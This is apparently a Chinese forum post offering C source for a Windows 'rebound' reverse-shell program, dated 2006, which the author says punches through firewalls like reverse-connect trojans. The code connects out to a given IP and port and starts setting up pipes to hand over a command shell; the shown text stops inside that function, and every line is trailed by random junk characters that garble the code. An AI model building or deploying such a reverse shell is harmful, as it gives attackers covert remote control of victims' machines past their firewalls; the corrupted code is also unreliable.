这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'N6 S}w7
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/* ============================== K5`Rk"s
Rebound port in Windows NT Jhy(x1%
By wind,2006/7 HnU Et/
===============================*/ ,@.EpbB
#include V LdB_r3lQ
#include IzUo0D*@
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#pragma comment(lib,"wsock32.lib") P^i.La,
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void OutputShell(); S_\
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SOCKET sClient; Cj^{9'0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x8"#!Pw:`"
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void main(int argc,char **argv) `@XehSQ
{ Wi$dZOcSJ
WSADATA stWsaData; FjFwvO_.
int nRet; Fo}7hab
SOCKADDR_IN stSaiClient,stSaiServer; _Y!sVJ){,c
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if(argc != 3)
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{ ST;t,
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printf("Useage:\n\rRebound DestIP DestPort\n"); &&7r+.Y
return; Oy_c
} f*fE};
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WSAStartup(MAKEWORD(2,2),&stWsaData); [BDGR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !w2gGy:I>
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stSaiClient.sin_family = AF_INET; Yc;ec9~
stSaiClient.sin_port = htons(0); n:4uA`Vg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _0(7GE13p
{ b{5K2k&,
printf("Bind Socket Failed!\n"); Tlodn7%",
return; ]KuMz p!
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stSaiServer.sin_family = AF_INET; VQxpN 1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vAi$[p*im
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *>."V5{;S
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YnTB&GPxl
{ 9[Qd)%MO
printf("Connect Error!"); fly,-$K>LO
return; 50~K,Jx6B
} 'C>U=cE7
OutputShell(); gEJi[E@
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void OutputShell() .}`hCt08
{ N1x@-/xa|
char szBuff[1024]; XDz5b.,
SECURITY_ATTRIBUTES stSecurityAttributes; %XTA;lrz
OSVERSIONINFO stOsversionInfo; A6"Hk0Hf
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I021p5h|
STARTUPINFO stStartupInfo; \a|L/9%
char *szShell; ~<9{#uM
PROCESS_INFORMATION stProcessInformation; N_DT7
unsigned long lBytesRead; )S@jDaU<